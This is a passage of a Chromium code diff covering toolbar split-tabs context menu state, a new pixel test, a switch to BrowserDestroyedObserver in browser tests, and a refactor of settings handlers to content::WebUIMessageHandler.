--- a/chrome/browser/ui/views/toolbar/chrome_labs/chrome_labs_unittest.cc
+++ b/chrome/browser/ui/views/toolbar/chrome_labs/chrome_labs_unittest.cc
@@ -74,7 +74,7 @@
 const flags_ui::FeatureEntry::FeatureParam kTestVariationOther2[] = {
     {"Param1", "Value"}};
 const flags_ui::FeatureEntry::FeatureVariation kTestVariations2[] = {
-    {"Description", kTestVariationOther2, 1, nullptr}};
+    {"Description", kTestVariationOther2, nullptr}};
 
 std::vector<LabInfo> TestLabInfo() {
   std::vector<LabInfo> test_feature_info;
diff --git a/chrome/browser/ui/views/toolbar/webui_split_tabs_control.cc b/chrome/browser/ui/views/toolbar/webui_split_tabs_control.cc
index 1ba633a..b3c8f78 100644
--- a/chrome/browser/ui/views/toolbar/webui_split_tabs_control.cc
+++ b/chrome/browser/ui/views/toolbar/webui_split_tabs_control.cc
@@ -64,6 +64,13 @@
     const gfx::Point& screen_location,
     ui::mojom::MenuSourceType source) {
   BrowserWindowInterface* browser = toolbar_view_->browser_;
+  current_menu_type_ = menu_type;
+  if (auto* webui_toolbar_ui = toolbar_view_->GetWebUIToolbarUI()) {
+    webui_toolbar_ui->OnContextMenuStateChanged(
+        current_menu_type_,
+        browser_controls_api::mojom::ContextMenuState::kVisible);
+  }
+
   if (menu_type ==
       browser_controls_api::mojom::ContextMenuType::kSplitTabsAction) {
     // Only show "Separate Views" menu if actually in split.
@@ -90,7 +97,9 @@
 void WebUISplitTabsControl::RunMenuAt(int x, int y) {
   menu_runner_ = std::make_unique<views::MenuRunner>(
       split_tab_menu_.get(),
-      views::MenuRunner::HAS_MNEMONICS | views::MenuRunner::CONTEXT_MENU);
+      views::MenuRunner::HAS_MNEMONICS | views::MenuRunner::CONTEXT_MENU,
+      base::BindRepeating(&WebUISplitTabsControl::OnMenuClosed,
+                          base::Unretained(this)));
 
   menu_runner_->RunMenuAt(toolbar_view_->GetWidget(), nullptr,
                           gfx::Rect(gfx::Point(x, y), gfx::Size()),
@@ -98,6 +107,16 @@
                           ui::mojom::MenuSourceType::kMouse);
 }
 
+void WebUISplitTabsControl::OnMenuClosed() {
+  if (auto* webui_toolbar_ui = toolbar_view_->GetWebUIToolbarUI()) {
+    webui_toolbar_ui->OnContextMenuStateChanged(
+        current_menu_type_,
+        browser_controls_api::mojom::ContextMenuState::kHidden);
+  }
+  current_menu_type_ =
+      browser_controls_api::mojom::ContextMenuType::kUnspecified;
+}
+
 void WebUISplitTabsControl::OnTabStripModelChanged(
     TabStripModel* tab_strip_model,
     const TabStripModelChange& change,
diff --git a/chrome/browser/ui/views/toolbar/webui_split_tabs_control.h b/chrome/browser/ui/views/toolbar/webui_split_tabs_control.h
index 6c72516..6a8ec573 100644
--- a/chrome/browser/ui/views/toolbar/webui_split_tabs_control.h
+++ b/chrome/browser/ui/views/toolbar/webui_split_tabs_control.h
@@ -49,11 +49,15 @@
     bool is_pinned = false;
   };
 
+  FRIEND_TEST_ALL_PREFIXES(WebUIToolbarWebViewPixelBrowserTest,
+                           CheckSplitTabsButtonColor);
+
   SplitTabsButtonState GetCurrentState() const;
   void UpdateVisibility(const SplitTabsButtonState& state);
   void UpdateTabSplitStatus();
   void UpdatePinState();
   void RunMenuAt(int x, int y);
+  void OnMenuClosed();
 
   raw_ptr<WebUIToolbarWebView> toolbar_view_;
   BooleanPrefMember pin_state_;
@@ -61,6 +65,8 @@
 
   webui_toolbar::TabSplitStatus last_sent_tab_split_status_;
   bool last_sent_pin_state_ = false;
+  browser_controls_api::mojom::ContextMenuType current_menu_type_ =
+      browser_controls_api::mojom::ContextMenuType::kUnspecified;
 
   std::unique_ptr<ui::MenuModel> split_tab_menu_;
   std::unique_ptr<views::MenuRunner> menu_runner_;
diff --git a/chrome/browser/ui/views/toolbar/webui_toolbar_web_view.h b/chrome/browser/ui/views/toolbar/webui_toolbar_web_view.h
index 5f17a403..61f7268 100644
--- a/chrome/browser/ui/views/toolbar/webui_toolbar_web_view.h
+++ b/chrome/browser/ui/views/toolbar/webui_toolbar_web_view.h
@@ -64,6 +64,8 @@
   views::WebView* GetWebViewForTesting() { return web_view_; }
 
  private:
+  FRIEND_TEST_ALL_PREFIXES(WebUIToolbarWebViewPixelBrowserTest,
+                           CheckSplitTabsButtonColor);
   friend WebUIReloadControl;
   friend WebUISplitTabsControl;
 
diff --git a/chrome/browser/ui/views/toolbar/webui_toolbar_web_view_browsertest.cc b/chrome/browser/ui/views/toolbar/webui_toolbar_web_view_browsertest.cc
index 2e5e53d..47d1a14c 100644
--- a/chrome/browser/ui/views/toolbar/webui_toolbar_web_view_browsertest.cc
+++ b/chrome/browser/ui/views/toolbar/webui_toolbar_web_view_browsertest.cc
@@ -131,6 +131,7 @@
     // All features for Webium Production should be included here.
     feature_list_.InitWithFeatures(
         {features::kInitialWebUI, features::kWebUIReloadButton,
+         features::kWebUISplitTabsButton,
          features::kSkipIPCChannelPausingForNonGuests,
          features::kWebUIInProcessResourceLoadingV2,
          features::kInitialWebUISyncNavStartToCommit},
@@ -321,6 +322,55 @@
   EXPECT_EQ(GetCenterPixelColor(web_view, control_rect), SK_ColorTRANSPARENT);
 }
 
+// TODO(crbug.com/479341115): Failing on mac-bots.
+#if BUILDFLAG(IS_MAC)
+#define MAYBE_CheckSplitTabsButtonColor DISABLED_CheckSplitTabsButtonColor
+#else
+#define MAYBE_CheckSplitTabsButtonColor CheckSplitTabsButtonColor
+#endif  // BUILDFLAG(IS_MAC)
+IN_PROC_BROWSER_TEST_F(WebUIToolbarWebViewPixelBrowserTest,
+                       MAYBE_CheckSplitTabsButtonColor) {
+  browser()->profile()->GetPrefs()->SetBoolean(prefs::kPinSplitTabButton, true);
+
+  ui::TrackedElement* element = nullptr;
+  WebUIToolbarWebView* webui_toolbar_view = nullptr;
+  views::WebView* web_view = nullptr;
+  ASSERT_NO_FATAL_FAILURE(SetUpWebUI(kToolbarSplitTabsToolbarButtonElementId,
+                                     &element, &webui_toolbar_view, &web_view));
+
+  WebUISplitTabsControl* split_tabs_control =
+      &webui_toolbar_view->split_tabs_control_;
+
+  gfx::Rect control_rect = element->GetScreenBounds();
+  gfx::Rect view_rect = webui_toolbar_view->GetBoundsInScreen();
+  control_rect.Offset(-view_rect.OffsetFromOrigin());
+
+  // Sample a point in the background area (e.g. 5,5 from top-left).
+  gfx::Rect background_probe_rect(control_rect.x() + 5, control_rect.y() + 5, 1,
+                                  1);
+
+  // Verify initial state is transparent.
+  EXPECT_EQ(GetCenterPixelColor(web_view, background_probe_rect),
+            SK_ColorTRANSPARENT);
+
+  // Show context menu.
+  split_tabs_control->HandleContextMenu(
+      browser_controls_api::mojom::ContextMenuType::kSplitTabsContext,
+      element->GetScreenBounds().bottom_right(),
+      ui::mojom::MenuSourceType::kMouse);
+
+  // Verify background is highlighted (NOT transparent).
+  EXPECT_NE(GetCenterPixelColor(web_view, background_probe_rect),
+            SK_ColorTRANSPARENT);
+
+  // Close context menu.
+  split_tabs_control->menu_runner_->Cancel();
+
+  // Verify split tabs button background returns to transparent.
+  EXPECT_EQ(GetCenterPixelColor(web_view, background_probe_rect),
+            SK_ColorTRANSPARENT);
+}
+
 class WebUIToolbarWebViewStabilityTest : public InProcessBrowserTest {
  public:
   WebUIToolbarWebViewStabilityTest() {
@@ -613,9 +663,10 @@
   content::JavaScriptDialogManager* dialog_manager =
       static_cast<content::WebContentsDelegate*>(browser())
           ->GetJavaScriptDialogManager(active_web_contents);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   dialog_manager->HandleJavaScriptDialog(active_web_contents, /*accept=*/true,
                                          /*prompt_override=*/nullptr);
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 }
 
 class WebUIReloadButtonBrowserTest : public InProcessBrowserTest {
@@ -779,8 +830,14 @@
   }));
 }
 
+// TODO(crbug.com/479341115): Failing on mac-bots.
+#if BUILDFLAG(IS_MAC)
+#define MAYBE_RightClickSplitTabsButton DISABLED_RightClickSplitTabsButton
+#else
+#define MAYBE_RightClickSplitTabsButton RightClickSplitTabsButton
+#endif  // BUILDFLAG(IS_MAC)
 IN_PROC_BROWSER_TEST_F(WebUIToolbarWebViewSplitTabsBrowserTest,
-                       RightClickSplitTabsButton) {
+                       MAYBE_RightClickSplitTabsButton) {
   WebUIToolbarWebView* webui_toolbar_view = GetWebUIToolbarWebView(browser());
   views::WebView* web_view = webui_toolbar_view->GetWebViewForTesting();
   EnableSplitTabsButton(browser(), web_view);
@@ -790,8 +847,15 @@
   // Verify no crash.
 }
 
+// TODO(crbug.com/479341115): Failing on mac-bots.
+#if BUILDFLAG(IS_MAC)
+#define MAYBE_ClickSplitTabsButtonWhileSplit \
+  DISABLED_ClickSplitTabsButtonWhileSplit
+#else
+#define MAYBE_ClickSplitTabsButtonWhileSplit ClickSplitTabsButtonWhileSplit
+#endif  // BUILDFLAG(IS_MAC)
 IN_PROC_BROWSER_TEST_F(WebUIToolbarWebViewSplitTabsBrowserTest,
-                       ClickSplitTabsButtonWhileSplit) {
+                       MAYBE_ClickSplitTabsButtonWhileSplit) {
   WebUIToolbarWebView* webui_toolbar_view = GetWebUIToolbarWebView(browser());
   views::WebView* web_view = webui_toolbar_view->GetWebViewForTesting();
   EnableSplitTabsButton(browser(), web_view);
diff --git a/chrome/browser/ui/views/tooltip/tooltip_browsertest.cc b/chrome/browser/ui/views/tooltip/tooltip_browsertest.cc
index d8f904c..2c1af377 100644
--- a/chrome/browser/ui/views/tooltip/tooltip_browsertest.cc
+++ b/chrome/browser/ui/views/tooltip/tooltip_browsertest.cc
@@ -386,10 +386,11 @@
   EXPECT_TRUE(helper()->IsTooltipVisible());
 
   // Tooltip should be hidden on closing window.
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseWindow(browser());
   // Verify tooltip is closed.
   tooltip_monitor()->WaitUntilTooltipClosed();
 
   // Make sure Chrome won't crash during window destruction.
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 }
diff --git a/chrome/browser/ui/views/web_apps/web_app_integration_test_driver.cc b/chrome/browser/ui/views/web_apps/web_app_integration_test_driver.cc
index 1cab4e2..73c7ead6 100644
--- a/chrome/browser/ui/views/web_apps/web_app_integration_test_driver.cc
+++ b/chrome/browser/ui/views/web_apps/web_app_integration_test_driver.cc
@@ -2371,8 +2371,9 @@
   webapps::AppId app_id = app_browser()->app_controller()->app_id();
   GURL app_url = GetCurrentTab(app_browser())->GetURL();
   ASSERT_TRUE(AppBrowserController::IsForWebApp(app_browser(), app_id));
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser());
   CHECK(chrome::ExecuteCommand(app_browser_, IDC_OPEN_IN_CHROME));
-  ui_test_utils::WaitForBrowserToClose(app_browser());
+  observer.Wait();
   ASSERT_FALSE(IsBrowserOpen(app_browser())) << "App browser should be closed.";
   app_browser_ = nullptr;
   EXPECT_EQ(GetCurrentTab(browser())->GetURL(), app_url);
diff --git a/chrome/browser/ui/views/webid/fedcm_account_selection_view_desktop_browsertest.cc b/chrome/browser/ui/views/webid/fedcm_account_selection_view_desktop_browsertest.cc
index 4f79f73..febffdd 100644
--- a/chrome/browser/ui/views/webid/fedcm_account_selection_view_desktop_browsertest.cc
+++ b/chrome/browser/ui/views/webid/fedcm_account_selection_view_desktop_browsertest.cc
@@ -240,8 +240,9 @@
 // Tests crash scenario from crbug.com/1473691.
 IN_PROC_BROWSER_TEST_F(FedCmAccountSelectionViewBrowserTest, ClosedBrowser) {
   PreShow();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   browser()->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   // Invoking this after browser is closed should not cause a crash.
   ShowUi("");
diff --git a/chrome/browser/ui/waap/initial_web_ui_manager.cc b/chrome/browser/ui/waap/initial_web_ui_manager.cc
index c438ea8..864db7e 100644
--- a/chrome/browser/ui/waap/initial_web_ui_manager.cc
+++ b/chrome/browser/ui/waap/initial_web_ui_manager.cc
@@ -7,14 +7,12 @@
 #include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
 #include "chrome/browser/ui/ui_features.h"
 #include "chrome/common/chrome_features.h"
-#include "ui/base/base_window.h"
 #include "ui/base/unowned_user_data/scoped_unowned_user_data.h"
 
 DEFINE_USER_DATA(InitialWebUIManager);
 
 InitialWebUIManager::InitialWebUIManager(BrowserWindowInterface* browser)
-    : window_(browser->GetWindow()),
-      is_initial_web_ui_pending_(features::IsWebUIToolbarEnabled()),
+    : is_initial_web_ui_pending_(features::IsWebUIToolbarEnabled()),
       scoped_data_holder_(browser->GetUnownedUserDataHost(), *this) {}
 
 InitialWebUIManager::~InitialWebUIManager() = default;
@@ -28,23 +26,20 @@
   if (!features::kWebUIReloadButtonDeferBrowserViewShow.Get()) {
     return false;
   }
-  if (is_initial_web_ui_pending_) {
-    is_show_pending_ = true;
-    return true;
-  }
-  return false;
+  return is_initial_web_ui_pending_;
 }
 
 void InitialWebUIManager::OnWebUIToolbarLoaded() {
   is_initial_web_ui_pending_ = false;
-  MaybeShowBrowserWindow();
+  if (web_ui_ready_callback_) {
+    std::move(web_ui_ready_callback_).Run();
+  }
 }
 
-void InitialWebUIManager::MaybeShowBrowserWindow() {
-  if (is_show_pending_ && !is_initial_web_ui_pending_) {
-    is_show_pending_ = false;
-    if (window_) {
-      window_->Show();
-    }
+void InitialWebUIManager::SetWebUIReadyCallback(base::OnceClosure callback) {
+  if (!is_initial_web_ui_pending_) {
+    std::move(callback).Run();
+    return;
   }
+  web_ui_ready_callback_ = std::move(callback);
 }
diff --git a/chrome/browser/ui/waap/initial_web_ui_manager.h b/chrome/browser/ui/waap/initial_web_ui_manager.h
index b4db475..93dcdf2b 100644
--- a/chrome/browser/ui/waap/initial_web_ui_manager.h
+++ b/chrome/browser/ui/waap/initial_web_ui_manager.h
@@ -5,15 +5,12 @@
 #ifndef CHROME_BROWSER_UI_WAAP_INITIAL_WEB_UI_MANAGER_H_
 #define CHROME_BROWSER_UI_WAAP_INITIAL_WEB_UI_MANAGER_H_
 
+#include "base/functional/callback.h"
 #include "base/memory/raw_ptr.h"
 #include "ui/base/unowned_user_data/scoped_unowned_user_data.h"
 
 class BrowserWindowInterface;
 
-namespace ui {
-class BaseWindow;
-}  // namespace ui
-
 // Manages the initialization state of WebUI components that must be loaded
 // before the browser window is shown.
 class InitialWebUIManager {
@@ -30,23 +27,18 @@
 
   // Returns true if the browser window show should be deferred until
   // the web UI components are ready.
-  // This is called when the `ui::BaseWindow` intends to invoke `Show()`, if the
-  // show needs to be deferred, `is_show_pending_` will be set to true and
-  // `Show()` will be called immediately when `is_initial_web_ui_pending_` is
-  // changed to true from `OnWebUIToolbarLoaded()`.
   bool ShouldDeferShow();
 
   // Notifies that the web UI toolbar has finished loading. It will also call
   // `Show()` from the `window_` if `is_show_pending_` is true.
   void OnWebUIToolbarLoaded();
 
- private:
-  // Shows the browser window if it was deferred.
-  void MaybeShowBrowserWindow();
+  void SetWebUIReadyCallback(base::OnceClosure callback);
 
-  const raw_ptr<ui::BaseWindow> window_;
+ private:
+  // This callback is triggered when the initial WebUI is ready.
+  base::OnceClosure web_ui_ready_callback_;
   bool is_initial_web_ui_pending_;
-  bool is_show_pending_ = false;
 
   ui::ScopedUnownedUserData<InitialWebUIManager> scoped_data_holder_;
 };
diff --git a/chrome/browser/ui/web_applications/app_browser_controller_browsertest_chromeos.cc b/chrome/browser/ui/web_applications/app_browser_controller_browsertest_chromeos.cc
index 8069f3c..f79fc1a 100644
--- a/chrome/browser/ui/web_applications/app_browser_controller_browsertest_chromeos.cc
+++ b/chrome/browser/ui/web_applications/app_browser_controller_browsertest_chromeos.cc
@@ -317,8 +317,9 @@
   InstallMockSystemWebApp();
 
   BrowserHandler handler(nullptr, std::string());
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   handler.Close();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   LaunchMockPopup();
   EXPECT_EQ(app_browser_, nullptr);
diff --git a/chrome/browser/ui/web_applications/app_browser_document_picture_in_picture_browsertest.cc b/chrome/browser/ui/web_applications/app_browser_document_picture_in_picture_browsertest.cc
index 1d901f4..6c27cfa 100644
--- a/chrome/browser/ui/web_applications/app_browser_document_picture_in_picture_browsertest.cc
+++ b/chrome/browser/ui/web_applications/app_browser_document_picture_in_picture_browsertest.cc
@@ -119,8 +119,9 @@
 
   // Exit Picture-in-Picture.
   auto* pip_browser = chrome::FindBrowserWithTab(pip_web_contents);
+  ui_test_utils::BrowserDestroyedObserver observer(pip_browser);
   pip_browser->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(pip_browser);
+  observer.Wait();
   EXPECT_FALSE(picture_in_picture_mixin_test_base_.window_controller()
                    ->GetChildWebContents());
 
diff --git a/chrome/browser/ui/web_applications/test/system_web_app_interactive_uitest.cc b/chrome/browser/ui/web_applications/test/system_web_app_interactive_uitest.cc
index 615f775..bb8fc7a 100644
--- a/chrome/browser/ui/web_applications/test/system_web_app_interactive_uitest.cc
+++ b/chrome/browser/ui/web_applications/test/system_web_app_interactive_uitest.cc
@@ -192,8 +192,9 @@
       EXPECT_EQ(1 + starting_browser_count, chrome::GetTotalBrowserCount());
       EXPECT_EQ(Browser::TYPE_APP, app_browser->type());
       EXPECT_FALSE(app_browser->app_controller()->ShouldShowCustomTabBar());
+      ui_test_utils::BrowserDestroyedObserver destroyed_observer(app_browser);
       app_browser->window()->Close();
-      ui_test_utils::WaitForBrowserToClose(app_browser);
+      destroyed_observer.Wait();
 
       // Check the initiating page is intact.
       EXPECT_EQ(initiating_url, initiating_web_contents->GetLastCommittedURL());
@@ -236,8 +237,9 @@
   EXPECT_EQ(2U, chrome::GetTotalBrowserCount());
   EXPECT_EQ(Browser::TYPE_APP, app_browser->type());
   EXPECT_FALSE(app_browser->app_controller()->ShouldShowCustomTabBar());
+  ui_test_utils::BrowserDestroyedObserver destroyed_observer(app_browser);
   app_browser->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  destroyed_observer.Wait();
 
   // Check the initiating browser window is intact.
   EXPECT_EQ(kInitiatingChromeUrl, browser()
@@ -281,8 +283,9 @@
   EXPECT_EQ(2U, chrome::GetTotalBrowserCount());
   EXPECT_EQ(Browser::TYPE_APP, app_browser->type());
   EXPECT_FALSE(app_browser->app_controller()->ShouldShowCustomTabBar());
+  ui_test_utils::BrowserDestroyedObserver destroyed_observer(app_browser);
   app_browser->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  destroyed_observer.Wait();
 
   // Check the initiating browser window is intact.
   EXPECT_EQ(kInitiatingChromeUrl, browser()
@@ -347,8 +350,9 @@
       EXPECT_EQ(1 + starting_browser_count, chrome::GetTotalBrowserCount());
       EXPECT_EQ(Browser::TYPE_APP, app_browser->type());
       EXPECT_FALSE(app_browser->app_controller()->ShouldShowCustomTabBar());
+      ui_test_utils::BrowserDestroyedObserver destroyed_observer(app_browser);
       app_browser->window()->Close();
-      ui_test_utils::WaitForBrowserToClose(app_browser);
+      destroyed_observer.Wait();
 
       // Check the initiating browser window is intact.
       EXPECT_EQ(initiating_url, initiating_web_contents->GetLastCommittedURL());
@@ -388,8 +392,9 @@
       EXPECT_EQ(3U, chrome::GetTotalBrowserCount());
       EXPECT_EQ(Browser::TYPE_APP, app_browser->type());
       EXPECT_FALSE(app_browser->app_controller()->ShouldShowCustomTabBar());
+      ui_test_utils::BrowserDestroyedObserver destroyed_observer(app_browser);
       app_browser->window()->Close();
-      ui_test_utils::WaitForBrowserToClose(app_browser);
+      destroyed_observer.Wait();
 
       // Check the initiating browser window is intact.
       EXPECT_EQ(kInitiatingAppUrl,
@@ -435,8 +440,9 @@
   GURL start_url = GetStartUrl();
 
   Browser* incognito_browser = CreateIncognitoBrowser();
+  ui_test_utils::BrowserDestroyedObserver destroyed_observer(browser());
   browser()->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  destroyed_observer.Wait();
 
   content::TestNavigationObserver observer(start_url);
   observer.StartWatchingNewWebContents();
@@ -864,11 +870,12 @@
                           ->GetActiveWebContents()
                           ->GetLastCommittedURL());
 
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   EXPECT_TRUE(
       content::ExecJs(app_browser->tab_strip_model()->GetActiveWebContents(),
                       "window.close();"));
 
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
   EXPECT_EQ(1U, chrome::GetTotalBrowserCount());
 }
 
diff --git a/chrome/browser/ui/web_applications/web_app_browser_controller.cc b/chrome/browser/ui/web_applications/web_app_browser_controller.cc
index 5635161..3af0318 100644
--- a/chrome/browser/ui/web_applications/web_app_browser_controller.cc
+++ b/chrome/browser/ui/web_applications/web_app_browser_controller.cc
@@ -237,8 +237,8 @@
 
 bool WebAppBrowserController::IsIsolatedWebApp() const {
   return is_isolated_web_app_for_testing_ ||
-         registrar().AppMatches(app_id(), WebAppFilter::IsIsolatedApp()) ||
-         registrar().AppMatches(app_id(), WebAppFilter::IsIsolatedSubApp());
+         registrar().AppMatches(app_id(), WebAppFilter::IsIsolatedApp() |
+                                              WebAppFilter::IsIsolatedSubApp());
 }
 
 void WebAppBrowserController::SetIsolatedWebAppTrueForTesting() {
diff --git a/chrome/browser/ui/web_applications/web_app_browsertest.cc b/chrome/browser/ui/web_applications/web_app_browsertest.cc
index 2571ace..e2635b9a 100644
--- a/chrome/browser/ui/web_applications/web_app_browsertest.cc
+++ b/chrome/browser/ui/web_applications/web_app_browsertest.cc
@@ -2649,8 +2649,9 @@
       WindowOpenDisposition::NEW_WINDOW, apps::LaunchSource::kFromTest);
 
   BrowserHandler handler(nullptr, std::string());
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   handler.Close();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   web_app::WebAppProvider* provider =
       web_app::WebAppProvider::GetForLocalAppsUnchecked(profile);
diff --git a/chrome/browser/ui/webui/ash/settings/pages/a11y/accessibility_handler.h b/chrome/browser/ui/webui/ash/settings/pages/a11y/accessibility_handler.h
index d361846..063b756 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/a11y/accessibility_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/a11y/accessibility_handler.h
@@ -8,14 +8,14 @@
 #include "base/memory/raw_ptr.h"
 #include "base/scoped_observation.h"
 #include "base/timer/timer.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/soda/soda_installer.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
-class AccessibilityHandler : public ::settings::SettingsPageUIHandler,
+class AccessibilityHandler : public content::WebUIMessageHandler,
                              public speech::SodaInstaller::Observer {
  public:
   explicit AccessibilityHandler(Profile* profile);
@@ -25,7 +25,7 @@
 
   ~AccessibilityHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/a11y/facegaze_settings_handler.h b/chrome/browser/ui/webui/ash/settings/pages/a11y/facegaze_settings_handler.h
index 91ccd657..d3be864 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/a11y/facegaze_settings_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/a11y/facegaze_settings_handler.h
@@ -6,7 +6,7 @@
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_A11Y_FACEGAZE_SETTINGS_HANDLER_H_
 
 #include "chrome/browser/ash/accessibility/facegaze_settings_event_handler.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash {
 struct FaceGazeGestureInfo;
@@ -15,7 +15,7 @@
 namespace ash::settings {
 
 // Settings handler for the FaceGaze feature.
-class FaceGazeSettingsHandler : public ::settings::SettingsPageUIHandler,
+class FaceGazeSettingsHandler : public content::WebUIMessageHandler,
                                 public ash::FaceGazeSettingsEventHandler {
  public:
   FaceGazeSettingsHandler();
@@ -31,7 +31,7 @@
   void HandleSendGestureInfoToSettings(
       const std::vector<FaceGazeGestureInfo>& gesture_info) override;
 
-  // ::settings::SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override {}
   void OnJavascriptDisallowed() override {}
diff --git a/chrome/browser/ui/webui/ash/settings/pages/a11y/select_to_speak_handler.h b/chrome/browser/ui/webui/ash/settings/pages/a11y/select_to_speak_handler.h
index 0fa67a7e..74ccdb9 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/a11y/select_to_speak_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/a11y/select_to_speak_handler.h
@@ -24,7 +24,7 @@
   void HandleGetAppLocale(const base::ListValue& args);
   void HandlePreviewTtsVoice(const base::ListValue& args);
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
 
   // VoicesChangedDelegate implementation.
diff --git a/chrome/browser/ui/webui/ash/settings/pages/a11y/settings_with_tts_preview_handler.h b/chrome/browser/ui/webui/ash/settings/pages/a11y/settings_with_tts_preview_handler.h
index 3ed90ca8..1c79f38 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/a11y/settings_with_tts_preview_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/a11y/settings_with_tts_preview_handler.h
@@ -7,8 +7,8 @@
 
 #include "base/memory/weak_ptr.h"
 #include "base/scoped_observation.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "content/public/browser/tts_controller.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace content {
 class TtsController;
@@ -17,7 +17,7 @@
 namespace ash::settings {
 
 // Parent Chrome OS TTS-related settings page handler.
-class SettingsWithTtsPreviewHandler : public ::settings::SettingsPageUIHandler,
+class SettingsWithTtsPreviewHandler : public content::WebUIMessageHandler,
                                       public content::VoicesChangedDelegate {
  public:
   SettingsWithTtsPreviewHandler();
@@ -33,7 +33,7 @@
   void HandleGetAllTtsVoiceData(const base::ListValue& args);
   void HandlePreviewTtsVoice(const base::ListValue& args);
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/a11y/switch_access_handler.h b/chrome/browser/ui/webui/ash/settings/pages/a11y/switch_access_handler.h
index adbce9a3..cf885af6e 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/a11y/switch_access_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/a11y/switch_access_handler.h
@@ -7,8 +7,8 @@
 
 #include "base/functional/callback_helpers.h"
 #include "base/memory/raw_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/prefs/pref_change_registrar.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "ui/events/event_handler.h"
 
 class PrefService;
@@ -16,14 +16,14 @@
 namespace ash::settings {
 
 // Settings handler for the switch access subpage.
-class SwitchAccessHandler : public ::settings::SettingsPageUIHandler,
+class SwitchAccessHandler : public content::WebUIMessageHandler,
                             public ui::EventHandler {
  public:
   explicit SwitchAccessHandler(PrefService* prefs);
 
   ~SwitchAccessHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/a11y/tts_handler.h b/chrome/browser/ui/webui/ash/settings/pages/a11y/tts_handler.h
index a9defc1..98a4960 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/a11y/tts_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/a11y/tts_handler.h
@@ -26,7 +26,7 @@
   void HandleGetDisplayNameForLocale(const base::ListValue& args);
   void HandleGetApplicationLocale(const base::ListValue& args);
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
 
   // VoicesChangedDelegate implementation.
diff --git a/chrome/browser/ui/webui/ash/settings/pages/apps/android_apps_handler.h b/chrome/browser/ui/webui/ash/settings/pages/apps/android_apps_handler.h
index 24e4561..7d203b8 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/apps/android_apps_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/apps/android_apps_handler.h
@@ -16,13 +16,13 @@
 #include "chrome/browser/ash/app_list/arc/arc_app_list_prefs.h"
 #include "chrome/browser/ash/arc/session/arc_session_manager.h"
 #include "chrome/browser/ash/arc/session/arc_session_manager_observer.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
-class AndroidAppsHandler : public ::settings::SettingsPageUIHandler,
+class AndroidAppsHandler : public content::WebUIMessageHandler,
                            public ArcAppListPrefs::Observer,
                            public arc::ArcSessionManagerObserver {
  public:
@@ -34,7 +34,7 @@
 
   ~AndroidAppsHandler() override;
 
-  // SettingsPageUIHandler
+  // content::WebUIMessageHandler
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/apps/plugin_vm_handler.h b/chrome/browser/ui/webui/ash/settings/pages/apps/plugin_vm_handler.h
index eaf1abb..fd23262 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/apps/plugin_vm_handler.h
